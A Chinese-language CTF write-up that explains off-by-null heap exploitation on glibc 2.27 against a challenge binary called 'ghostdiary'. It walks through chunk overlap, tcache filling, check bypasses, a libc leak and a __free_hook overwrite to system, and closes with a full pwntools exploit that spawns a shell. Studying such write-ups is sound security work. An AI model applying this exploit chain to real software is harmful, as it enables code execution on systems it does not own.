知识点
- off by null 类型漏洞的利用思路
- 漏洞利用过程中遇到的问题及原理分析
环境
- libc2.27
off by null 漏洞利用思路 (参考pu1p的github)
---
0x120 A
---
0x80 B
---
0x120 C
malloc A B C
FREE A
edit B1 -> OFF BY NULL
FREE C -> unlink A
malloc A1
malloc B1 -> overlap chunk with B
free B1 -> B1 into fastbin
edit B -> modify B1's bk
malloc B2
malloc B3 -> fake chunk on free_hook
edit B3 -> modify free_hook to system
遇到的问题及原理分析
以本题为例，经典菜单题，可以对diary进行增加、编辑、删除操作，在edit函数中存在off-by-null。
漏洞利用的入口点是通过溢出的一个\x00字节覆盖下一个堆块的PREV_INUSE位为0。
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of previous chunk, if unallocated (P clear) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of chunk, in bytes |A|M|P|
mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| User data starts here... .
. .
. (malloc_usable_size() bytes) .
next . |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| (size of chunk, but used for application data) |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Size of next chunk, in bytes |A|0|1|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
修改完成后，如果free下一个堆块，int_free会检查与当前块相邻的堆块的P位，如果为0，则将这个块从所属的bin中unlink出来，和当前需要free的堆块合并后再放入unsortedbin中。
本题的exp中，我们这样泄露地址：
code sheet 1
#off-by-null
add(2,0x110)#0
add(1,0x78)#1
add(2,0x110)#2
首先申请三个堆块，其中#0，#2大小相同，#1大小必须是8的整数倍且不是16的整数倍，这样申请堆块的原因是通过#1 修改#2的P位，同时利用堆块间对pre_size的复用来修改#2的pre_size为#0，#1两个堆块的大小之和，这样free(#2)的时候malloc函数就会将#0，#1两个堆块视为已经被free的堆块，从而执行unlink，将#0，#1，#2这三个连续堆块合成一个堆块放入unsortedbin中。这样一来，我们既可以通过edit(#1)来操作#1，也可以通过malloc新的chunk的方式从unsortedbin中获取到#1地址，即构造了对堆块#1的overlap。
由于本题远程libc版本是2.27，我们需要先将tcache填满，这样才能将#0 free到unsortedbin中
code sheet 2
for i in range(3,10):
add(2,0x110)
for i in range(10,17): # tricky code:will be useful afterwards
add(1,0xf0)
for i in range(3,10):#fill tcache
delete(i)
delete(0) #put #0 into unsorted bin
for i in range(10,17):#fill tcache # tricky code:will be useful afterwards
delete(i)
#0 放入unsoredbin中是为了绕过free_int对fd和bk的检测：
我们将#0放入unsortedbin中，由于unsortedbin本身就是一个合法的bin，因此能够顺利被unlink。
接下来就是通过edit(#1)修改#2的P位，同时利用堆块间对pre_size的复用来修改#2的pre_size为#0，#1两个堆块的大小之和，但是这里有个坑，如果直接这么写，是会报错的：
code sheet 3
edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
delete(2) #unlink error:(double free corrption)
这是因为在覆盖#2的P位时，因为覆盖了整整一个字节，会改变#2的size字段，在这里#2的size由原来的0x120被修改为0x100，而在free的时候会检查下一个相邻chunk的pre_inuse是否为1:
从上图可以看到，确定前后chunk位置的方法就是利用当前chunk的pre_size字段和size字段，因此在#2的“nextchunk”由于之前的修改，就落在了#2的内部，因此需要填充#2的内容为0x(var)1来绕过这个检查。
code sheet 4
edit(1,"a"*0x70 + p64(0x120 + 0x80))# use off-by-null to modify 'P' bit in next chunk into zero
edit(2,p64(0x21)*32)# bypass double free check
delete(2) #unlink (double free corrption?)
而var的取值是有限制的，在64位系统中，min(var) = 2（因为0x20是最小堆块大小）而var的上限需要根据具体情况分析，比如在本exp的上下文中，往#2中填充0x31是不可行的，将会触发unlink中的corrupted size vs. prev_size错误，分析如下:
之前说过，在free的时候，会检查当前堆块的前后chunk是否INUSE：
而下个相邻chunk是否INUSE，则是由下相邻个chunk的下个相邻chunk的pre_inuse位决定的：
因此，如果在本exp中填充0x31，则#2的下个chunk的下个chunk的地址将会是address(#2) + 0x100 + 0x30 =address(#2) + 0x130 >address(#2) + 0x120也就是超出了#2的可写范围；而填充0x21则恰好让nextchunk(nextchunk(#2))的地址为address(#2) + 0x120，和#2的真正的下个chunk正好重合，因此也绕过了double free的检查。
调试过程中还发现一个小坑，就是如果free(#2)的时候对应大小tcache没满，则会直接将#2放入对应tcache中，不会触发unlink。因此需要code sheet 2中那段tricky code来绕过这个限制。可以看出在有tcache的libc版本中，tcache操作的优先级高于一般的堆块操作。
上述工作成功将#0，#1，#2这三个连续堆块合成一个堆块放入unsortedbin中，此时我们再申请和#0大小相同的chunk，就会从unsortedbin中切割出一块，而这个块就可以泄露出libc：
code sheet 5
for i in range(2,9): # clear tcache
add(2,0x110)
add(2,0x110) #8 split unsorted bin
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)
tcache (fastbin like) attack:
code sheet 6
add(1,0x60)#9 size < size(#1) + size(#2)
delete(9) # put #9 into fastbin
edit(1,p64(fh_addr) * 2)# use chunk overlap to edit #9's bk into free_hook
add(1,0x60)#9 get #9
add(1,0x60) #10 get fake chunk in free_hook address
edit(10,p64(system_addr))# modify free_hook into system
add(1,0x30)#11
edit(11,"/bin/sh\x00")
delete(11)# use free_hook to get shell
io.interactive()
完整exp
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
io = process("./ghostdiary")
def add(choice,size):
io.recvuntil(">")
io.sendline("1")
io.recvuntil("both sides?")
io.sendline(str(choice))
io.recvuntil("size:")
io.sendline(str(size))
def edit(page,content):
io.recvuntil(">")
io.sendline("2")
io.recvuntil("Page:")
io.sendline(str(page))
io.recvuntil("Content: ")
io.sendline(content)
def show(page):
io.recvuntil(">")
io.sendline("3")
io.recvuntil("Page:")
io.sendline(str(page))
io.recvuntil("Content: ")
return io.recv(6)
def delete(page):
io.recvuntil(">")
io.sendline("4")
io.recvuntil("Page: ")
io.sendline(str(page))
#off-by-null
add(2,0x110)#0
add(1,0x78)#1
add(2,0x110)#2
#edit(1,"a"*0x70 + p64(0x120 + 0x80))
for i in range(3,10):
add(2,0x110)
for i in range(10,17):
add(1,0xf0)
for i in range(3,10):#fill tcache
delete(i)
delete(0) #put #0 into unsorted bin
for i in range(10,17):#fill tcache
delete(i)
edit(1,"a"*0x70 + p64(0x120 + 0x80))
edit(2,p64(0x21)*32)
#gdb.attach(io,"dir /usr/src/glibc/glibc-2.27/malloc\nb free")
delete(2) #unlink (double free corrption?) *solved
for i in range(2,9):
add(2,0x110)
add(2,0x110) #8
libc_addr =u64(show(8).strip("\n").ljust(8,"\x00"))
print "[+]Leak libc addr: "+hex(libc_addr)
libc_base = libc_addr - 0x3ebf30
print "[+]libc base :",hex(libc_base)
libc = ELF("./libc.so.6")
system = libc.symbols["system"]
fh = libc.symbols["__free_hook"]
system_addr = libc_base + system
fh_addr = libc_base + fh
print "[+]System addr:",hex(system_addr)
add(1,0x60)#9
delete(9)
edit(1,p64(fh_addr) * 2)
add(1,0x60)#9
add(1,0x60) #10
edit(10,p64(system_addr))
add(1,0x30)#11
edit(11,"/bin/sh\x00")
delete(11)
io.interactive()
